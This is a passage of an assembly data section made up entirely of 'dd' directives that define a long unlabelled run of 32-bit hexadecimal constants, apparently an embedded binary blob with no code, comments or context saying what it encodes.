dd 5960AE39h, 2726F196h, 0AB18D207h, 0FC5F0285h, 19877F55h
dd 3C06B4C3h, 8F96D12Fh, 0E30607DCh, 0AECD591Ah, 0ADEB5E9Eh
dd 0E29F0FD5h, 5FBBB551h, 0B3671574h, 0C1BE30B4h, 60EB28B3h
dd 0D4400781h, 0DB58955Dh, 0F285714Eh, 7B50D0DAh, 276E1240h
dd 0E9DFCC13h, 3E0A68E1h, 6F33130Fh, 1DC3EA25h, 99EBDCD4h
dd 2C212E7Dh, 8C6F4B31h, 29433039h, 0BA101A4Ch, 67BB02A2h
dd 0D526F671h, 0EF80EED8h, 8682D1ADh, 20671203h, 5A37CB41h
dd 7CE4A133h, 4022BA00h, 0BB063596h, 0AEA89E8Eh, 81B32764h
dd 0FB9499D5h, 0EB20843Ah, 0AC848CA3h, 0FA25BE57h, 2859C280h
dd 817B0161h, 1C5144CDh, 9E7A905Dh, 7404AF4Ah, 2CFE140Ch
dd 0CD52E99Eh, 0BB810EA2h, 98EE128Ah, 0FA6F7253h, 25CECB22h
dd 0A5EF57FBh, 5456D583h
dd 18A4AA9Eh, 0C07A0BB2h, 1B0A08EAh, 8A9E09A2h, 259A7469h
dd 8D8630F7h, 31A2784Ah, 1742E59Eh, 0C493D175h, 2551A819h
dd 0BA015E2Dh, 5A0BBDCAh, 0DAAB9DD4h, 54332002h, 406DD231h
dd 52952DD3h, 6856156Fh, 0BB80C445h, 435F470Ch, 607AE916h
dd 0F516C8E3h, 9E91FCB3h, 4F403616h, 0C55DD30Dh, 0EF609D20h
dd 350A8B02h, 0C9C301D2h, 0C920E424h, 6BAAE918h, 0EFA2B532h
dd 0F82FE0CDh, 0BDF78027h, 901C4E2Eh, 7AEC2019h, 0CB97595Ah
dd 0F26AB830h, 0D901279Eh, 0F8C17931h, 854B4E49h, 796F88BAh
dd 72A76B4Eh, 3C05C04Ch, 806DA826h, 47229142h, 6C800360h
dd 0C129A94Dh, 4605A50Ch, 5FDF4259h, 829B4CF5h, 0A477580h
dd 0FE95E90Bh, 0C6F5251Bh, 0F7B3E255h, 51368001h, 8074BB87h
dd 3F04C83Dh, 953D12Ch, 0FEA3B050h, 22444C82h, 56015F02h
dd 73405AC9h, 0FF13670Fh, 8CBF5826h, 0DBFF07Eh, 0B7C852F1h
dd 0D3681396h, 0B0FA302Bh, 9B902865h, 6C2D667Eh, 0EFF19057h
dd 47D19749h, 33EB5CC4h, 0A3022EA8h, 1F8C0F49h, 7F6A7256h
dd 0E133F207h, 292CCC6Ah, 0E01770D2h, 0CF015A05h, 88FED7C5h
dd 1A9F870Ch, 271744D5h, 0EDE57B28h, 0B02C4422h, 39C2108Ah
dd 0B0B74697h, 0B57D4BFBh, 0CE36406Ah, 0EA325893h, 6A40B860h
dd 409A6372h, 121EED0Bh, 0AC052D13h, 0BFE94F97h, 6886E04h
dd 8257C0CDh, 0E2EBB50h, 48088329h, 0E7833E47h, 220213AFh
dd 6BFC14D9h, 0AFD07FA8h, 0CE2DD04Ah, 73B7D13h, 0B4C6025Fh
dd 600B2223h, 2F71414Bh, 0D0A6801h, 0CE590B89h, 69044B7Bh
dd 0F3FE2D9Fh, 478FC25Bh, 306E7740h, 0B4EC854Fh, 0CAB1FBD2h
dd 0E131F87Bh, 0FCFB67A2h, 2E328FBEh, 0B980338Bh, 21CD3403h
dd 140EF281h, 0A461CE53h, 272BAF04h, 2CEEE875h, 51053852h
dd 0D7FA624Ch, 15BF30A4h, 0D7955D7Bh, 61AE0BB0h, 0E1901E7Eh
dd 0FB06B902h, 4AC9E908h, 0C68B5F6Eh, 0D62EFC24h, 803BC06Fh
dd 0DFF602EFh, 0FF1A7968h, 0FC8EDC99h, 0E925F3EAh, 0DF05895Ch
dd 0F149B5C5h, 0F5A6C2DFh, 0D807A9D7h, 43320F7Ch, 903D354Bh
dd 742E0604h, 0B0C3C3Fh, 3AD23368h, 9319827Dh, 0A00A68BBh
dd 0A414957Ah, 5A505D3Fh, 0CA30469Dh, 0AB9C602Dh, 0EE4F5AEFh
dd 5E66094Ch, 383092B5h, 248269A4h, 0A6D2E0FFh, 6D942F5Dh
dd 783A9F0h, 0E8B5577Dh, 0B5C7D55Eh, 8B6BBF5Eh, 89B5D164h
dd 0D9601DE9h, 2A129DBEh, 59094C54h, 326F8111h, 443F7FE9h
dd 0AF04EACDh, 5EE96C68h, 0EAAFD1C7h, 89EF1409h, 8CA7EC88h
dd 665E21C6h, 0D4F6020Ah, 0E480CCFEh, 0D930C6E9h, 0A9E02ACDh
dd 0DDF630A1h, 0E5C0C90Ah, 0ED07087Eh, 59EC3039h, 4904360Fh
dd 0A99168Eh, 4FB83C20h, 0AB25BE83h, 0D8DEF90Ch, 0E3331DA4h
dd 6DF68149h, 6AD59432h, 0D361D5A1h, 1334E33Bh, 0D3CA4764h
dd 8E1C2C32h, 0E4C0FA48h, 5060365h, 0A918DEC2h, 4FE86481h
dd 0B1749099h, 59F830BBh, 0AF40C7B0h, 0D6822D0Fh, 4E9793D0h
dd 0C78B122Ah, 7BDBF25Ch, 0BB70F94Bh, 472F3C1h, 0D0E93097h
dd 0B7B207BBh, 0B992CA07h, 865A77B1h, 20970D31h, 19C9D388h
dd 61513134h, 0C8E95754h, 0D66B8F44h, 5A990B5Ah, 22684C8Ah
dd 0FC5BFA46h, 315AA0CBh, 3A26A0C8h, 0E07DC986h, 3F3F0206h
dd 12ACF758h, 0ABEC8E6Ah, 0D37EBC85h, 41F2CB46h, 6616DFF0h
dd 670FF1F7h, 0B23BBF6Ah, 5851269Dh, 456213F7h, 98AB7Fh
dd 0E90CA0EEh, 0D84B5A0Eh, 1E4128FDh, 96672AF8h, 72A94962h
dd 55009B29h, 616B52D0h, 0A6E2315Ah, 5469746Fh, 27C916DDh
dd 0A4A7B7E9h, 92F273DDh, 0E41B4Ch, 232C6035h, 13C5E0Dh
dd 3A055B33h, 20483459h, 38BD61C0h, 622E68B4h, 0A65EAB38h
dd 0ECADBC7Bh, 94C398B8h, 7F68843Eh, 1C12B377h, 0F7274DE1h
dd 0CD9D0316h, 0B85013DAh, 61BF4AD4h, 8937BBB8h, 55549599h
dd 0BA566230h, 24D561A8h, 5F921991h, 0C0BF290Bh, 97F8219Bh
dd 2E9AC7Ch, 0AD3D87h, 0C95B890Dh, 0E8017C75h, 0F280E65h
dd 1D244981h, 64927225h, 979B5652h, 7C9A5320h, 415E1E12h
dd 0D78EA5E9h, 0EE341105h, 1035C554h, 5F3798AFh, 8408922Dh
dd 0BF89CC48h, 8100E49Ah, 1A2417F2h, 5F4BE93Fh, 0F8FD076h
dd 0C75EBA8Dh, 318446F2h, 0F78F37A8h, 1EB007C4h, 7068F378h
dd 7282B981h, 0B5E4EE26h, 0DF65366Bh, 0F80F7DEAh, 33B60E40h
dd 0F267B2E9h, 1E95E775h, 0D7B27D87h, 0A7147F8Dh, 2611F49Fh
dd 0E4CB1722h, 7A796F3Fh, 3781255Eh, 1A80FD29h, 0F2BB585Dh
dd 3358774Bh, 287E0F72h, 9CE98407h, 12839895h, 0D7BF3E9Eh
dd 0A7B55826h, 49152FDDh, 7561E28Fh, 3437A294h, 73628587h
dd 80A5A7A6h, 32F20BD7h, 561877A4h, 481DBDC6h, 0E6815333h
dd 422D1144h, 10C0DD31h, 0D428ED0Ch, 3504415Eh, 0CE517D06h
dd 0A7F9AC60h, 0EE58C69Fh, 9AFF8263h, 0AEAA814Bh, 55DE7B4Eh
dd 880EE58h, 0C54E56E9h, 592AFFCh, 138BFBB7h, 5E17BCC6h
dd 6F9B2DAEh, 0E9C550ECh, 0B97690BDh, 222D79C0h, 92417E3Ch
dd 0E4C2A84Ch, 8EBE39C4h, 70BB5F16h, 0BBF5721h, 5E4A7F18h
dd 257C87CEh, 75F02ECCh, 7CCADD27h, 0B4296FB1h, 772D27D4h
dd 0E2FEBA14h, 7FF2964Eh, 5ABB5301h, 0FB6E4B45h, 73F61CE2h
dd 2484776Eh, 59E64A77h, 0F55C482Dh, 0B148D6DEh, 0BE56D0B8h
dd 0CA1E7C0Ah, 7803F42Eh, 42FAF11h, 654BFDCEh, 8A580466h
dd 0AEA18F85h, 0BE89526Ah, 0C520D869h, 0F7544B26h, 89D996C1h
dd 1410812Dh, 0DD552D62h, 0D6826229h, 0C3F1A1FCh, 0D1382B8Bh
dd 9B840F2Ch, 0E5ED7198h, 5EF89412h, 0E967B4EAh, 8FB45B26h
dd 0C809A8A0h, 445E401h, 0EDAA8929h, 5FB9C94Bh, 8000AC42h
dd 0F8211F5h, 4ECF2924h, 0B6B00820h, 4EE501B7h, 3E71EED1h
dd 8A2AE2D1h, 0C9C1DD2Fh, 165F6E9Dh, 7A541630h, 0F0BE5E2Ah
dd 0E82568D9h, 883F596Dh, 0EC313B9Fh, 4C6FC195h, 81245A0h
dd 3EE48A4Bh, 0BC724F2Ah, 6CA3C4ADh, 0BAE0570Fh, 1C016A54h
dd 0AEAFBF01h, 0D7297B98h, 8BA2ED6Eh, 62E78544h, 931B0DD1h
dd 5B54428Ah, 89501EA0h, 0D9F6D1CFh, 9C250249h, 41E87C7Dh
dd 4CCBB89h, 0D60AF182h, 0C77F695Fh, 760D8CBDh, 0DCB7310Ah
dd 29EF027Ah, 0F8406F69h, 0CA2E7937h, 0E1106C77h, 1283558h
dd 2778EC25h, 5440CE69h, 2BBC309Fh, 5D545541h, 4EF78F7Eh
dd 0EAB482ACh, 0B9580828h, 7FE9893Dh, 139E3CD8h, 2BF4425Ah
dd 679F4E0h, 7755EB85h, 0CD121B98h, 72108B21h, 0F68A120Ch
dd 48C5DFEEh, 0BEDA85A3h, 23E3FB90h, 383F4872h, 0F29361Eh
dd 6262B876h, 40D6D8B2h, 0A405CF3Dh, 8089A704h, 0EEB2DE0h
dd 5D5ADF77h, 0DE0B5FC1h, 921E3B7Fh, 0B92C67D0h, 3A8209BAh
dd 0ED6AC07Dh, 2E803C89h, 8F48AF48h, 5F71E982h, 0C3800507h
dd 3E01DEF4h, 0E2D158C1h, 86412833h, 257E3132h, 0F7184784h
dd 6082C3E8h, 2E14637Bh, 9E134DABh, 7CBF20C1h, 5FFF8C55h
dd 0BD3FA47h, 0F1CF23AAh, 0AB041350h, 7E40C24Eh, 4F97294Ch
dd 30D57DF7h, 0B11A9B7Dh, 3CB8C0B7h, 16B35309h, 4285FDFEh
dd 0A896C418h, 48680B14h, 0F9E9B038h, 0E956807Ch, 0DA70BA2Dh
dd 16CEA8Eh, 0ECBE51D0h, 3EB499FCh, 0ED0276ACh, 3982AACh
dd 80CA8FDh, 0BE31CF20h, 5FFD6199h, 5B9BB87Fh, 0D9ED60EAh
dd 0E15BD6A0h, 7C31BDB9h, 2E565DEBh, 62AD95D1h, 0B7C14BA0h
dd 4542EBE2h, 0E157E9CAh, 0D2202DCCh, 1C11B2AEh, 0EED2F792h
dd 44D116FEh, 0EED33129h
dd 0CE3D8899h, 0D03D8793h, 77442068h, 18101F48h, 890F1CE9h
dd 0BDE6EECAh, 0D2945F09h, 28B5719Dh, 2498977Bh, 0C45FE95Ah
dd 61406E32h, 48EE7BADh, 2F5BD631h, 66D04CBEh, 355EE460h
dd 0B87D19C7h, 0F4132413h, 0CD09208h, 53384F40h, 505267DEh
dd 7AB0C684h, 28CF1FC4h, 3B2D3AE2h, 0F627AE53h, 5F1F0262h
dd 0D9DF6FDDh, 81CC2CAEh, 8366AF41h, 0A9FE50C3h, 26055542h
dd 0C6CBE94Ah, 2E71B7BFh, 0E84C4A68h, 50CD4FF5h, 7674F480h
dd 0E95D4A59h, 16E9C3FBh, 682A02AEh, 6C450296h, 0E307D7DBh
dd 33950E3Bh, 0B1EBC5FBh, 3C9A2BCCh, 0E9DC8A02h, 0A2489920h
dd 0D6825E58h, 3E240851h, 0A0B35827h, 2539B99Dh, 0B441103Ah
dd 65A03AD1h, 8BFA0888h, 10B313Eh, 0CFCD05DDh, 0E6D9BF4Eh
dd 580F8F10h, 0BA06A6DFh, 101FDB4Ah, 0CC4053B6h, 4E19BFA9h
dd 1657CE31h, 3CEA97D6h, 0AD409254h, 5F6212BEh, 0AE8B045Ch
dd 0DCB8AFEBh, 4AD2A9B4h, 0B83A1AD9h, 6858045Ah, 3DEA2837h
dd 0CDDC3E24h, 48AB409Eh, 5550EECh, 0F10540ECh, 6C4AC07Bh
dd 0F6A959F4h, 325897h, 7E763F3Fh, 88DA6011h, 3C860646h
dd 4AB70958h, 0AA46C4FFh, 0D3E3B2ECh, 17731848h, 5E29635Fh
dd 18B0E2D8h, 6072402Fh, 0DF2F8D0Fh, 0B00F17Bh, 2AC25F8Ch
dd 0B21F355h, 5E93C706h, 173459E0h, 16744EB8h, 0E0489827h
dd 9D8BE9ECh, 0B05F0062h, 827AFA2Ch, 0C98E20FFh, 765D2157h
dd 25D0FF38h, 1A314BF3h, 0F05C25AFh, 1A1729C0h, 0BCD9983Bh
dd 0FE5C16F3h, 426C5298h, 2E90D45h, 0E82F88D4h, 0E313DFF1h
dd 575E30C2h, 5C92DF47h, 0C2E3E6ABh, 0DD7CF3E9h, 68381DE4h
dd 98AA4BC6h, 7E444E4Fh, 0F3485E25h, 33E51756h, 0E9C79DFCh
dd 0D7C4EB67h, 9095055Bh, 0B72525B6h, 197ECD8Bh, 5547E824h
dd 2056D2D9h, 8100B8D6h, 5E75F5CDh, 28820F23h, 160C27A4h
dd 48A3A16h, 1762074Ch, 4E4E6DF4h, 8948B98Bh, 67D4D056h
dd 11BB18B7h, 0EE6C6B78h, 59B2F763h, 19B9BB80h, 1C5A6241h
dd 0CB09FB81h, 0F3B09E7Ch, 4224075Ch, 6502222Bh, 0D51D8E7Fh
dd 3C84F940h, 9FD00180h, 2D601874h, 6E216405h, 7D41C24h
dd 0F2565A16h, 0E0DD948Ah, 9D7B52E9h, 0B426EFC4h, 1D6A00F1h
dd 84333E0Fh, 12B8B2ECh, 98DBB2D2h, 6D15B8h, 2AB807E2h
dd 3133A723h, 2B887394h, 0C39D0EB6h, 685BBDE6h, 824AB680h
dd 0AC06F899h, 0ECD01709h, 2EB83050h, 880D75ECh, 4FF00E00h
dd 3411CA05h, 2EF2F40Ah, 26C3693Dh, 29780062h, 0DF05D8F7h
dd 0DA4E0CF2h, 0BC6A38E1h, 51E98383h, 0ED6F0391h, 15660F92h
dd 842E8698h, 0D355E99Ah, 0DCF62AB8h, 607F9710h, 0AD5F2F16h
dd 27417C54h, 2418DDEBh, 380227C6h, 0B5684458h, 8025797Bh
dd 13F173C8h, 5D9CC609h, 28A89C2h, 0DCC0E0C1h, 0B3005005h
dd 0EF811415h, 1E29162Bh, 39C7011Eh, 863B0851h, 6109225Ah
dd 0DE171875h, 48805A60h, 400E7AE1h, 5713F6F8h, 481EFB07h
dd 24EA54D6h, 0FD2CEB84h, 0B97237h, 2D7805B8h, 0F829463Dh
dd 710746EBh, 50B1A4B5h, 0D84598AEh, 703CE919h, 73D8960Eh
dd 0A6119F5Fh, 6D013B53h, 205BB050h, 8F6BA70h, 26B2E9D1h
dd 1804B81Fh, 7B81220Eh, 5DC657Dh, 0C1E230E9h, 2879BD20h
dd 0D126A90Ah, 0BF09CDEDh, 7A7CC136h, 0BB024368h, 3B5365A7h
dd 16C5B340h, 0FC6DD92Ch, 4E76F003h, 4F180517h, 0AF7B0C07h
dd 955834C8h, 5A2216FFh, 0A2D8A45Ah, 5591B40h, 4998ABB9h
dd 6183EFA8h, 7709A7ACh, 7F4B4CD1h, 2EA5CF19h, 0B7E472AFh
dd 0F92D2DF2h, 0EB15FF5Fh, 1DC92630h, 1B347605h, 0C1AE6BE9h
dd 6B5A0AB1h, 0EC9252ECh, 0D800A48Ch, 35D85D67h, 0B58BA14Bh
dd 0B87298D0h, 40C30CD4h, 5D0C7CD1h, 0B3C70812h, 0FE1C12BEh
dd 0F204C0F2h, 0BE1E9723h, 7378EC30h, 4F6D1D21h, 6BECC1h
dd 0DC0B9AC7h, 0F90B292Bh, 0FFF5A1E9h, 0E477563Ah, 1DE954Eh
dd 0D1A54EEAh, 0EA29659Ch, 0EBD6EBB3h, 0EAD7B992h, 2DE577D9h
dd 0D85E9E4h, 5E05288Ah, 46789068h, 833AFBD7h, 43B6CD4Eh
dd 0A6B8B94Ah, 1B681726h, 0CAC66142h, 0BE5F01BCh, 14782D30h
dd 0E9FE316Ch, 0E2F76A16h, 1C6F4203h, 0F80E6F04h, 3AFC922Ch
dd 0FE65B5A0h, 3980C539h, 4FE599CAh, 0F5E4DA0Ch, 870BB7A8h
dd 0C40857F6h, 4B428A1h, 6D6E220Bh, 0FAE6C4C1h, 9DA07224h
dd 0F75C9556h, 7CCB898Ah, 2786D46Ah, 5F40738Ch, 8032EF03h
dd 935E5C4Ah, 0CB09090Eh, 2F1CF85Dh, 0FD6E3427h, 454F9FF6h
dd 5FB0A888h, 0CBCFD1F9h, 20900682h, 91F64AB5h, 0B8407FFDh
dd 1CE1ED44h, 0F2CF4E89h, 7967C415h, 0EDB850EEh, 583DCC4Ah
dd 673B1197h, 0AC665597h, 0CA5F3FE9h, 0C7A7B7BCh, 9C57EB11h
dd 0A341202Dh, 0FDA08DA0h, 0FE13CD2Fh, 0E2632C61h, 0EA7468F9h
dd 0A13EB5BBh, 4C85BF1Dh, 0F6E22795h, 927B10h, 0E1EA815Dh
dd 4F0FDA72h, 0B3791052h, 3EAE0B68h, 0C3DCC02Dh, 57FD276Fh
dd 63FE529Fh, 168EF3CEh, 0F2CEDA97h, 2159418h, 0EB80A2B2h
dd 0A45079C0h, 0F6A8529Ah, 0FE12511Eh, 0E3215B1Fh, 52FE4h
dd 0B0602A07h, 0E095294Fh, 5F015A12h, 0D064AC5Ch, 2F084111h
dd 0E33EF7B5h, 87E90916h, 0CBFDF659h, 0D9B5BEF0h, 0A021EA34h
dd 0F5C019Eh, 54E9EE51h, 29642E8Ch, 9FCAF8AFh, 7F3EC267h
dd 21FF7B96h, 61A36F0Bh, 15A4CB96h, 1D82ABE9h, 0FFEDDAF6h
dd 0E5B18007h, 4FC2BA30h, 69ADF0DCh, 0C600F929h, 1AE846F8h
dd 0A40D7EBDh, 0EC85175Eh, 2D475ECCh, 0BF960BF6h, 19D7F288h
dd 187E1327h, 829BC42Ah, 12167C9Dh, 4EB4C07Dh, 5128890Fh
dd 5792432h, 72F68526h, 0BE148A97h, 98FF4B3Ch, 495F6860h
dd 5C969E46h, 0C9FEB9B2h, 0DC0EA8D9h, 0CBAE1762h, 855525C8h
dd 0DFF04177h, 59D6408Bh, 0C7E7D497h, 0B10CF553h, 5B5ED807h
dd 61992E9Dh, 0DF3C88BDh, 2E664060h, 34DE038h, 9226E9FBh
dd 8513326h, 77B37E18h, 8B36B338h, 0BAABBA57h, 9846835Dh
dd 6D9BC769h, 0B8460CB3h, 0C8648822h, 8E41C5Eh, 552B0EE5h
dd 0F5C07B83h, 38F3294Eh, 4DD5F717h, 0A44400EAh, 0E9B4DCEEh
dd 725CA727h, 80612026h, 830AD3A0h, 5EFCFA8h, 0C90967B8h
dd 8026762Bh, 29685567h, 0E8F99513h, 0C031839Fh, 0F18B02E1h
dd 96F64D1Ch, 58047F72h, 3D9DC286h, 40F28902h, 0C0440512h
dd 1835C2C7h, 0F0B76D2Ch, 135DFA68h, 8365F12h, 451C9022h
dd 33A6FC6Dh, 0DC010206h, 0F86B2C4Ch, 4835EA01h, 4864A82Eh
dd 0B51216CFh, 3C4F7E8h, 7530BA51h, 4C4D2D27h, 5212C40Bh
dd 1B2EB2FDh, 0E92D2F68h, 5731C0Dh, 17E1E2D2h, 7E2310E4h
dd 0E2189C8Fh, 719DAB41h, 9ACBCF1Dh, 0F604BADFh, 0E1F6E28Ah
dd 0CEC8A672h, 3461261h, 2777FE0Eh, 0E054ECBh, 45C20A42h
dd 0B20A882h, 52596140h, 80E14595h, 116C5676h, 6590DEF7h
dd 70485509h, 7010449h, 6A4F2500h, 0F0BF2132h, 48F7079Eh
dd 6050E633h, 6F28B0E7h, 6E97313h, 0DEB90A80h, 0EA5250Ah
dd 2D2F6C5Fh, 7C42D0E9h, 0EADA18FFh, 0DB74BD9Bh, 2DEC5A4Bh
dd 0A6C4C1Dh, 0BF6608C1h, 0FD3E3202h, 0B91F7981h, 0FF6527B4h
dd 96D8446Ah, 0E289989Dh, 8E5E9F86h, 0ED507A40h, 0EF29FA1Eh
dd 0F84FFB63h, 0B25D9448h, 7B40C05Eh, 75F37528h, 9F5AF8C3h
dd 269C5FCh, 0E752D96h, 1869BDC0h, 454B48F9h, 0F6B31ECh
dd 0D97F92C2h, 0C5FD6904h, 0E1BD091Bh, 4559F280h, 37278D0Fh
dd 40FCF412h, 0B05CD81h
dd 9346FF3Fh, 0E7ACB78Bh, 0D70EA4Ah, 0D3855BE9h, 4426FEDFh
dd 0C11E4834h, 0D885C381h, 0AA74102h, 0CB247E4Eh, 1E75B0ABh
dd 8AC761Eh, 43AAFA93h, 0FEFF2DFh, 57ED0A1h, 841284AFh
dd 932B1A8Ah, 0C4FD2DFh, 1334731Fh, 8313221Ch, 33014329h
dd 3D244A92h, 7571D9E1h, 4A3D7AC6h, 212FB05h, 0C5FB2CAFh
dd 0D661C766h, 0E6C11904h, 3590DC07h, 0AB8A4571h, 0DDAA2412h
dd 35436070h, 7F7D92E0h, 0E9EA0905h, 56BDFB90h, 0A4E34026h
dd 0FBCF1282h, 0BDB93F31h, 373DCCCh, 0E5B85049h, 34100356h
dd 89125E47h, 9601FFC2h, 49C471DBh, 929E53F8h, 25840385h
dd 85BA21BCh, 5BE80B4Eh, 1C57090Ah, 53605075h, 5208082h
dd 48D7376Eh, 0AFB4257Ch, 94A170A8h, 8695A6D5h, 67E0DF92h
dd 6FDE0BBFh, 0A88027F9h, 121F3A0Ch, 0E0FA012Dh, 639CF70h
dd 0A0E93830h, 6813548Fh, 0D58C79D3h, 0EA391936h, 48A244Fh
dd 523586ABh, 10C63300h, 0E9FE2962h, 0A13453D4h, 97DCB11Eh
dd 87F6C5E3h, 68D800BFh, 26963E6Ah, 0C580B260h, 0E29FA10Bh
dd 0C7968104h, 0D6D83B02h, 0B489BD0Fh, 2494C5F7h, 5B56CBABh
dd 0C1A9FC25h, 0AD08F8E9h, 8528C0BDh, 790244A0h, 30312D41h
dd 5B79903Fh, 0D54A8952h, 20020372h, 0C6F1805Ch, 4E3CC058h
dd 1F083BBh, 72F0064Bh, 0B0A54AB1h, 42659DAh, 301336D2h
dd 875A5AFCh, 0C3E97187h, 0D4B62597h, 762D6884h, 0DA5C9910h
dd 12192AC2h, 3A70A888h, 9557C0C7h, 5FC0195Eh, 0F2BA52h
dd 3116964Ah, 0CF815AD7h, 323A9E1Ch, 330CB165h, 2425DD35h
dd 57CFB3Ah, 3279E91Ch, 48EED84h, 1ACD7F7h, 0BD560196h
dd 3B0AB7A0h, 8889B5A8h, 5E54DAE0h, 0D24B7EB5h, 6852ED18h
dd 4E38FFBCh, 57C103B2h, 32CB49E9h, 7C8990EEh, 0DCCAFCFBh
dd 2FDCFEFFh, 53A8544Bh, 8BED7438h, 0FD3E4907h, 24084028h
dd 45551B58h, 0EE13DFB7h, 0B4F46D21h, 5E88C3Fh, 0DE2DB6BEh
dd 685C4B65h, 0C6AA082h, 0AA565525h, 65A9A197h, 0F933C112h
dd 8952CF26h, 2530545Ah, 26E30774h, 0DAE73C01h, 67E4880Bh
dd 3E4CC948h, 81004FE8h, 90283FCEh, 0EFFE5901h, 0C2613A88h
dd 41D6F60Fh, 0BE18E9C6h, 452FFD24h, 4C8A061Ah, 283E2101h
dd 6F68161h, 60DA09C5h, 99FD35BEh, 0FD0CE9CBh, 7360C7D5h
dd 0C0D0F624h, 0FE063AE8h, 0EAFA8814h, 0BF458F12h, 3182B674h
dd 0DDCCDD0Fh, 0B7531EC1h, 163151A6h, 2593E22Eh, 0A5945C2Dh
dd 9B85E830h, 690E1995h, 3172B641h, 0A5ABF83Ah, 0E4105CBCh
dd 68560660h, 2FC3571Ch, 674E8350h, 5580683Eh, 73C93A5Dh
dd 0FAF67FD5h, 1F409C3h, 2A8F4446h, 0B859AD04h, 1688205Eh
dd 5255CD89h, 0D280BEBCh, 6222E95Eh, 7DA24D75h, 8A3D020Bh
dd 0A0F95DBFh, 5992CEA4h, 0B810E3A9h, 0F9ED7DF3h, 928B2813h
dd 30E9DBDCh, 802C56A3h, 83F0D5CAh, 4688AC4Ah, 49F52088h
dd 1E4A567Eh, 0C3FECE00h, 0F28B352h, 0CB885358h, 19FC9FCBh
dd 9CBA3A89h, 0ABD19FA0h, 7A973342h, 9278EEB4h, 79770C95h
dd 37722785h, 9B498641h, 2431BC3Ah, 2A43B15Dh, 0CE2301D5h
dd 4C617736h, 0C8F9DC0Fh, 3DD79EA8h, 3007C7BDh, 0DD685A45h
dd 779D5470h, 6806C315h, 2FEB1430h, 0A7118CF0h, 7D03DC0Dh
dd 3B2D7602h, 0D4CDB0ADh, 0E781003Bh, 2B153861h, 97BB5300h
dd 9642820h, 261B98DFh, 53596C86h, 0A4DF7ADAh, 13C0A3F2h
dd 0F8E6D146h, 2E01B5F3h, 60476658h, 5A8082AAh, 30CB5828h
dd 8289BB4Ah, 8EF8B93Bh, 79396F7Eh, 95414020h, 0BE0469DEh
dd 548522A6h, 926EA25Fh, 25A31F3h, 731AE9FAh, 42FB3102h
dd 0AD40FDB2h, 0BC307A69h, 6BEC0C3Ah, 0C1994E84h, 9698E05Eh
dd 0E0F9C3FDh, 4752681Ah, 9F8B8286h, 4E157238h, 4B0F8EEAh
dd 0E9BB28FBh, 0D5DEDC26h, 0DB17F993h, 5BDD1C98h, 0CF77165Bh
dd 0CFB47F7Bh, 3A4E9888h, 0BA964F4h, 5B49BE5Fh, 0BFB5966h
dd 66FF4E83h, 72553876h, 3F838842h, 0ED07CD99h, 5AE47CDFh
dd 65BF7354h, 0CCBC5B9Eh, 0E97938D6h, 596582EDh, 71224D68h
dd 6ADA8985h, 9ADEC55h, 4D5442BEh, 0A0402985h, 0EE07BD49h
dd 29EAFD65h, 5E24EA5Ah, 9B799901h, 0BD2E310Fh, 2BAE267Dh
dd 0E0EA2192h, 0FF001B88h, 412DF4D3h, 941A9870h, 190720E7h
dd 350DBBE9h, 0B7A32FC1h, 0D19AE9C4h, 0DCD03148h, 87B4FE2Bh
dd 0EA5872h, 1C136338h, 0E907EBC1h, 1A859325h, 88F6C00Bh
dd 95C082BEh, 189F951Ch, 80B7F3DBh, 6B7F2D5Eh, 421EBE25h
dd 3C785FE7h, 79519317h, 45641D1Eh, 1CEA3BABh, 59CB2185h
dd 9A9DE90Bh, 0EBE2F6A9h, 7C46047Dh, 5A74AB10h, 0A754BDA6h
dd 1F4FAC43h, 83E8EF83h, 0FB8948DCh, 6AC3F1E9h, 2D539ADAh
dd 1FE82912h, 72EEC028h, 1342E32h, 2DB8C65Fh, 0CE256932h
dd 0ADC9C77Fh, 0B36018D5h, 8B6DBCB0h, 1A547EB6h, 78488263h
dd 0D1A3597Dh, 0C43B9B00h, 0F4B5378h, 8F56892Eh, 69ABE985h
dd 16AA35AFh, 498BC7Dh, 7C1619CEh, 25D5A0h, 6D3802BFh
dd 0CB328905h, 4CB8064Bh, 88940929h, 830BBFBBh, 7BC40EAh
dd 0D2BD7A55h, 80BE8503h, 0A0115BA3h, 8217D2B2h, 6F00B725h
dd 0A31754F2h, 2D629006h, 4DA297E9h, 3F0A4C95h, 812DAE26h
dd 29A96878h, 12D8D7Bh, 0F4505B90h, 7FE15A78h, 829782B7h
dd 0DEF13034h, 68CD4852h, 733205E0h, 0F1425A03h, 838740A0h
dd 31F898E8h, 3C2CDA58h, 0A55948BEh, 0D9BC8905h, 8F81B2AAh
dd 0E579C652h, 7A25001Ch, 35463B0Fh, 76256DC6h, 18EE030h
dd 8C36C1CFh, 89707E6Bh, 0F817E9C5h, 0A0044E01h, 4C4ECB44h
dd 0EB3694EEh, 0CB9EB2ECh, 0B1A8628Dh, 201000F2h, 75BE05C4h
dd 73F21902h, 5552E1E9h, 96C12A12h, 0DECC6922h, 4EAA59C9h
dd 0DFB495h, 7857B951h, 0E1F231D3h, 78043BF3h, 8045E07h
dd 5B43DAC6h, 0F8B30C40h, 30C0CBFEh, 0E90A07E3h, 73D85C06h
dd 1D1336h, 0BF571B53h, 7B381C15h, 19AE6A1h, 0D8425E2Dh
dd 5F897573h, 1FB2384h, 6E1FEE68h, 0C9C8E27Ah, 9D655051h
dd 0C3ECD780h, 0CDA13B1Fh, 75B801F2h, 3930C2D8h, 2704005h
dd 712B2D3Fh, 0CE616BD2h, 0F82901A1h, 0D6F0E4DFh, 2748985Fh
dd 0B59232BFh, 4C08D05Dh, 9901755Ah, 0E954A663h, 46133F68h
dd 614A70A9h, 6FEEECF2h, 0DA42E8DEh, 2D2FDA10h, 0C2A55989h
dd 0DF1A06F6h, 43910C16h, 0E97040ACh, 0E44A5ACDh, 913F4A5h
dd 4FE0650h, 0E8894D7Fh, 186D9431h, 0DD7908FAh, 81F08638h
dd 0F1517A62h, 508C9A3h, 0E9A1BC7Ch, 93F3860h, 5E88EB80h
dd 0BBCABA90h, 0A899F532h, 181EFBD5h, 1EBB9215h, 80FD868h
dd 4A21456Ch, 0C3B5F741h, 0C52B0FB3h, 23609A2h, 1BEFE5D7h
dd 5BB8CAFEh, 0B119E380h, 7388D3F6h, 0C52876F0h, 0D59C6CF6h
dd 34B2D149h, 0E38D8BE8h, 64630405h, 1D2A817h, 2B063D38h
dd 0E830CD89h, 0A2BEBD52h, 0E51E912h, 0F885B8BDh, 9AB9828h
dd 8FD19F4Ah, 29C91047h, 6E3D7060h, 11C47DF5h, 88F9D494h
dd 68125697h, 31AB51E3h, 8FDCD16Ch, 479CF14Bh, 0C5B32D50h
